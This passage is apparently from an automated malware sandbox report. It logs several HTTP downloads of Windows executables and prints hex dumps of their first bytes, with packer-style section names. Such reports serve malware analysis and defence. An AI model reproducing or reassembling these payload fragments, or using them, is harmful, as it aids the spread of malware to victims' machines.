42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 80 10 00 00 04 00 00 63 83 41 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac 00 00 b4 00 00 00 00 00 10 00 3e 63 00 00 00 00 00 00 00 00 00 00 df 75 41 00 28 26 00 00 00 60 08 00 94 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 72 00 00 00 10 00 00 00 74 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6e 2b 00 00 00 90 00 00 00 2c 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2b 07 00 00 c0 00 00 00 02 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 f0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 3e 63 00 00 00 00 10 00 00 64 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d6 0f 00 00 00 70 10 00 00 10 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:24:36 GMTContent-Type: application/octet-streamContent-Length: 1245183Last-Modified: Sun, 24 Nov 2024 11:02:24 GMTConnection: keep-aliveETag: "674307c0-12ffff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 a8 09 00 00 42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 50 12 00 00 04 00 00 94 8e 13 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac 00 00 b4 00 00 00 00 00 10 00 ee 36 02 00 00 00 00 00 00 00 00 00 9f d7 12 00 60 28 00 00 00 60 08 00 94 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 72 00 00 00 10 00 00 00 74 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6e 2b 00 00 00 90 00 00 00 2c 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 2b 07 00 00 c0 00 00 00 02 00 00 00 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 f0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 ee 36 02 00 00 00 10 00 00 38 02 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d6 0f 00 00 00 40 12 00 00 10 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:24:44 GMTContent-Type: application/octet-streamContent-Length: 1867776Last-Modified: Sun, 24 Nov 2024 10:27:55 GMTConnection: keep-aliveETag: "6742ffab-1c8000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 c0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 49 00 00 04 00 00 f5 ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 77 74 76 73 6e 6e 6a 00 e0 19 00 00 d0 2f 00 00 e0 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 63 64 6f 6b 63 73 76 00 10 00 00 00 b0 49 00 00 06 00 00 00 58 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 49 00 00 22 00 00 00 5e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:24:53 GMTContent-Type: application/octet-streamContent-Length: 1790976Last-Modified: Sun, 24 Nov 2024 10:28:02 GMTConnection: keep-aliveETag: "6742ffb2-1b5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 06 62 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 7a 79 75 7a 6a 63 74 00 c0 19 00 00 20 4f 00 00 b6 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 70 73 70 71 78 73 6d 00 10 00 00 00 e0 68 00 00 04 00 00 00 2e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 68 00 00 22 00 00 00 32 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:25:09 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Sun, 24 Nov 2024 10:26:09 GMTConnection: keep-aliveETag: "6742ff41-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 39 ff 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 22 9d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 0c aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 0c aa 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:25:17 GMTContent-Type: application/octet-streamContent-Length: 2781696Last-Modified: Sun, 24 Nov 2024 10:26:36 GMTConnection: keep-aliveETag: "6742ff5c-2a7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 83 ec 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 66 69 61 72 76 72 65 00 20 2a 00 00 a0 00 00 00 12 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 63 63 6b 69 78 6e 6c 00 20 00 00 00 c0 2a 00 00 04 00 00 00 4c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 50 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 11:25:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 11:25:48 GMTContent-Type: application/octet-streamContent-Length: 2781696Last-Modified: Sun, 24 Nov 2024 10:26:38 GMTConnection: keep-aliveETag: "6742ff5e-2a7200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 83 ec 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 